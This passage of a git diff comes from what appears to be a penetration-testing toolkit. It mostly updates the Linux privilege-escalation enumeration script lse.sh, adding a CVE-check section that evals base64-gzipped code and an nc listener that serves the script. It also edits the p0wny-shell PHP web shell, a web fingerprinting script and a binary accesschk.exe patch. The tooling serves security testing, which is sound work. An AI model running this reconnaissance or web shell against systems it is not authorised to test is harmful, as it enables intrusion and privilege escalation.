grep -Eo 'inet ([0-9]{1,3}\.){3}[0-9]{1,3}' | cut -d' ' -f2`" + local_ips="`ip a | grep -Eo "inet ([0-9]{1,3}\.){3}[0-9]{1,3}" | cut -d' ' -f2`" # Get a valid and non used port port=`od -An -N2 -i /dev/random|grep -Eo '[0-9]+'` @@ -506,8 +518,8 @@ lse_serve() { done # try nc with '-N' (openbsd), then ncat and then use '-q0' (traditional) nc -l -N -p "$port" < "$0" >/dev/null 2>/dev/null || nc -l --send-only -p "$port" < "$0" >/dev/null 2>/dev/null || nc -l -q0 -p "$port" < "$0" >/dev/null -} -lse_header() { +} #) +lse_header() { #( local id="$1" shift local title="$*" @@ -530,8 +542,8 @@ lse_header() { done text="$text(${green} $title ${magenta})=====" cecho "$text${reset}\n" -} -lse_exit() { +} #) +lse_exit() { #( local ec=1 local text="\n${magenta}==================================" [ "$1" ] && ec=$1 @@ -539,18 +551,32 @@ lse_exit() { cecho "$text${reset}\n" rm -f "$lse_procmon_data" rm -f "$lse_procmon_lock" + rm -f "$lse_cve_tmp" exit "$ec" -} -lse_procmon() { +} #) +lse_procmon() { #( # monitor processes #NOTE: The first number will be the number of occurrences of a process due to # uniq -c + local ps_args + local ps_busybox + if ps -V 2>&1 | grep -iq busybox; then + ps_args='-o pid,user,args' + ps_busybox=true + else + ps_args="-ewwwo start_time,pid,user:50,args" + ps_busybox=false + fi while [ -f "$lse_procmon_lock" ]; do - ps -ewwwo start_time,pid,user:50,args + if $ps_busybox; then + ps $ps_args | sed 's/^\([0-9]*\)/? \1 /g' + else + ps $ps_args + fi sleep 0.001 - done | grep -v 'ewwwo start_time,pid,user:50,args' | sed 's/^ *//g' | tr -s '[:space:]' | grep -v "^START" | grep -Ev '[^ ]+ [^ ]+ [^ ]+ \[' | sort -Mr | uniq -c | sed 's/^ *//g' > "$lse_procmon_data" -} -lse_proc_print() { + done | grep -Ev "(pid,user|$lse_user *sed s/)" | sed 's/^ *//g' | tr -s '[:space:]' | grep -Ev "PID *USER *COMMAND" | grep -Ev '[^ ]+ [^ ]+ [^ ]+ \[' | sort -Mr | uniq -c | sed 's/^ *//g' > "$lse_procmon_data" +} #) +lse_proc_print() { #( # Pretty prints output from lse_procmom received via stdin if $lse_color; then printf "${green}%s %8s %8s %s\n" "START" "PID" "USER" "COMMAND" @@ -574,7 +600,57 @@ lse_proc_print() { printf "%s %8s %8s %s\n" "$p_time" "$p_pid" "$p_user" "$p_args" fi done -} +} #) +lse_get_distro_codename() { #( + # Get the distribution name + # + # ubuntu, debian, centos, redhat, opsuse, fedora, rocky + local distro="${grey}unknown${reset}" + if type lsb_release >/dev/null 2>&1; then + distro=`lsb_release -is` + elif [ -f /etc/os-release ]; then + distro=`grep -E '^ID=' /etc/os-release | cut -f2 -d=` + echo "$distro" | grep -qi opensuse && distro=opsuse + elif [ -f /etc/redhat-release ]; then + grep -qi "centos" /etc/redhat-release && distro=centos + grep -qi "fedora" /etc/redhat-release && distro=fedora + grep -qi "red hat" /etc/redhat-release && distro=redhat + grep -qi "rocky" /etc/redhat-release && distro=rocky + fi + printf '%s' "$distro" | tr '[:upper:]' '[:lower:]' | tr -d \"\' +} #) +lse_is_version_bigger() { #( + # check if version v1 is bigger than v2 + local v1="$1"; local v2="$2" ; local vc + [ "$v1" = "$v2" ] && return 1 # equal is not bigger + vc="`printf "%s\n%s\n" "$v1" "$v2" | sort -rV | head -n1`" + [ "$v1" = "$vc" ] && return 0 + return 1 +} #) +lse_get_pkg_version() { #( + # get package version depending on distro + # returns 2 if distro is unknown + # returns 1 if package is not installed (or doesn't exist) + # returns 0 on success, and prints out the package version + pkg_name="$1" + case "$lse_distro_codename" in + debian|ubuntu) + pkg_version=`dpkg -l "$pkg_name" 2>/dev/null | grep -E '^ii' | tr -s ' ' | cut -d' ' -f3` + ;; + centos|redhat|fedora|opsuse|rocky|amzn) + pkg_version=`rpm -q "$pkg_name" 2>/dev/null` + pkg_version="${pkg_version##"$pkg_name"-}" + pkg_version=`echo "$pkg_version" | sed -E 's/\.(aarch64|armv7hl|i686|noarch|ppc64le|s390x|x86_64)$//'` + ;; + *) + return 2 + ;; + esac + [ -z "$pkg_version" ] && return 1 + printf "%s" "$pkg_version" + return 0 +} #) +#) #) ########################################################################( TESTS @@ -638,7 +714,7 @@ lse_run_tests_users() { 'for ep in $lse_exec_paths; do [ "$ep" = "." ] && grep -ER "^ *PATH=.*" /etc/ 2> /dev/null | tr -d \"\'"'"' | grep -E "[=:]\.([:[:space:]]|\$)";done' \ "usr070" } - +#) #########################################################################( sudo lse_run_tests_sudo() { @@ -688,7 +764,7 @@ lse_run_tests_sudo() { "Do we know if any other users used sudo?" \ 'for uh in $(cut -d: -f1,6 /etc/passwd); do [ -f "${uh##*:}/.sudo_as_admin_successful" ] && echo "${uh%%:*}"; done' } - +#) ##################################################################( file system lse_run_tests_filesystem() { @@ -851,7 +927,7 @@ lse_run_tests_filesystem() { "Dump fstab file" \ 'cat /etc/fstab' } - +#) #######################################################################( system lse_run_tests_system() { @@ -907,7 +983,7 @@ lse_run_tests_system() { "System password policies in /etc/login.defs" \ 'grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs' } - +#) #####################################################################( security lse_run_tests_security() { @@ -953,7 +1029,7 @@ lse_run_tests_security() { "Can we read the auditd log?" \ 'al=/var/log/audit/audit.log; test -r "$al" && echo "tail $al:" && echo && tail "$al"' } - +#) ##############################################################( recurrent tasks lse_run_tests_recurrent_tasks() { @@ -1021,7 +1097,7 @@ lse_run_tests_recurrent_tasks() { "Systemd timers" \ 'systemctl list-timers --all' } - +#) ######################################################################( network lse_run_tests_network() { @@ -1072,7 +1148,7 @@ lse_run_tests_network() { "Listening UDP" \ 'netstat -unlp || ss -unlp' } - +#) #####################################################################( services lse_run_tests_services() { @@ -1167,7 +1243,7 @@ lse_run_tests_services() { "Systemd config files permissions" \ 'ls -lthR /lib/systemd/ /etc/systemd/' } - +#) #####################################################################( software lse_run_tests_software() { @@ -1310,7 +1386,7 @@ lse_run_tests_software() { 'screen -v' } - +#) ###################################################################( containers lse_run_tests_containers() { @@ -1341,7 +1417,7 @@ lse_run_tests_containers() { "Is the user a member of any lxc/lxd group?" \ 'groups | grep $lse_grep_opts "lxc\|lxd"' } - +#) ####################################################################( processes lse_run_tests_processes() { @@ -1398,49 +1474,84 @@ lse_run_tests_processes() { 'printf "%s\n" "$lse_proc_bin" | xargs ls -l' \ "pro001" } +#) + +#########################################################################( CVEs +lse_run_tests_cves() { + lse_header "cve" "CVEs" + if [ "${#lse_cve_list}" = 1 ]; then + if [ -z "$lse_selection" ] || printf "%s" "$lse_selection" | grep -iq 'cve'; then + printf "%s\n%s\n%s" \ + " In order to test for CVEs, download lse.sh from the GitHub releases page." \ + " Alternatively, build lse_cve.sh using tools/package_cvs_into_lse.sh from the" \ + " repository." + fi + else + for lse_cve in $lse_cve_list; do + eval "$(printf '%s' "$lse_cve" | base64 -d | gunzip -c)" + + lse_test "$lse_cve_id" "$lse_cve_level" \ + "$lse_cve_description" \ + "lse_cve_test" + done + fi +} +#) # ##) #( Main -while getopts "hcCil:e:p:s:S" option; do - case "${option}" in - c) lse_color=false; lse_grep_opts='--color=never';; - C) lse_alt_color=true;; - e) lse_exclude_paths "${OPTARG}";; - i) lse_interactive=false;; - l) lse_set_level "${OPTARG}";; - s) lse_selection="`printf \"%s\" \"${OPTARG}\"|sed 's/,/ /g'`";; - p) lse_proc_time="${OPTARG}";; - S) lse_serve; exit $?;; - h) lse_help; exit 0;; - *) lse_help; exit 1;; - esac -done +main() { + while getopts "hcCil:e:p:s:S" option; do + case "${option}" in + c) lse_color=false; lse_grep_opts='--color=never';; + C) lse_alt_color=true;; + e) lse_exclude_paths "${OPTARG}";; + i) lse_interactive=false;; + l) lse_set_level "${OPTARG}";; + s) lse_selection="`printf \"%s\" \"${OPTARG}\"|sed 's/,/ /g'`";; + p) lse_proc_time="${OPTARG}";; + S) lse_serve; exit $?;; + h) lse_help; exit 0;; + *) lse_help; exit 1;; + esac + done -#trap to exec on SIGINT -trap "lse_exit 1" 2 + #trap to exec on SIGINT + trap "lse_exit 1" 2 -# use alternative color scheme -$lse_alt_color && lse_recolor + # use alternative color scheme + $lse_alt_color && lse_recolor -lse_request_information -lse_show_info -PATH="$PATH:/sbin:/usr/sbin" #fix path just in case + lse_request_information + lse_show_info + PATH="$PATH:/sbin:/usr/sbin" #fix path just in case + lse_distro_codename=`lse_get_distro_codename` -lse_procmon & -(sleep "$lse_proc_time"; rm -f "$lse_procmon_lock") & + lse_procmon & + (sleep "$lse_proc_time"; rm -f "$lse_procmon_lock") & -lse_run_tests_users -lse_run_tests_sudo -lse_run_tests_filesystem -lse_run_tests_system -lse_run_tests_security -lse_run_tests_recurrent_tasks -lse_run_tests_network -lse_run_tests_services -lse_run_tests_software -lse_run_tests_containers -lse_run_tests_processes + ## NO WAR + lse_header "nowar" "humanity" + lse_test "nowar0" "0" \ + 'Should we question autocrats and their "military operations"?' \ + 'cecho " $black$b_blue NO $reset\n $black$b_yellow WAR $reset"' -lse_exit 0 + lse_run_tests_users + lse_run_tests_sudo + lse_run_tests_filesystem + lse_run_tests_system + lse_run_tests_security + lse_run_tests_recurrent_tasks + lse_run_tests_network + lse_run_tests_services + lse_run_tests_software + lse_run_tests_containers + lse_run_tests_processes + lse_run_tests_cves + + lse_exit 0 +} + +[ ! "$lse_NO_EXEC" ] && main "$@" #) diff --git a/p0wny-shell.php b/p0wny-shell.php index f8f41c3..629f0c3 100644 --- a/p0wny-shell.php +++ b/p0wny-shell.php @@ -1,14 +1,22 @@ &1)?$/", $cmd)) { + chdir(expandPath("~")); } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); - chdir($match[1]); + chdir(expandPath($match[1])); } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); diff --git a/web_service_finder.py b/web_service_finder.py index f2864a1..44fa88a 100755 --- a/web_service_finder.py +++ b/web_service_finder.py @@ -8,6 +8,7 @@ import requests import urllib.parse import util from bs4 import BeautifulSoup +from crawl_urls import Crawler requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) @@ -208,7 +209,7 @@ class WebServiceFinder: litecart_pattern = re.compile(r"^https://www.litecart.net") wordpress_pattern = re.compile(r"/wp-(admin|includes|content)/(([^/]+)/)*(wp-emoji-release.min.js|style.min.css)\?ver=([0-9.]+)(&|$)") - urls = util.collectUrls(soup) + urls = Crawler(self.url).collect_urls(soup) for url in urls: self.printMatch("Moodle", moodle_pattern_1.search(url), version_func=lambda v: self.retrieveMoodleVersion(int(v))) self.printMatch("Moodle", moodle_pattern_2.search(url), version_func=lambda v: "%d.%d" % (int(v)//10,int(v)%10)) diff --git a/win/accesschk.exe b/win/accesschk.exe index 6fc4abf5b5aa01c25e33c0e46ab432d2c2e8885b..27a57c14589539a5f9ea7324aee27992bd942c63 100644 GIT binary patch literal 1468320 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 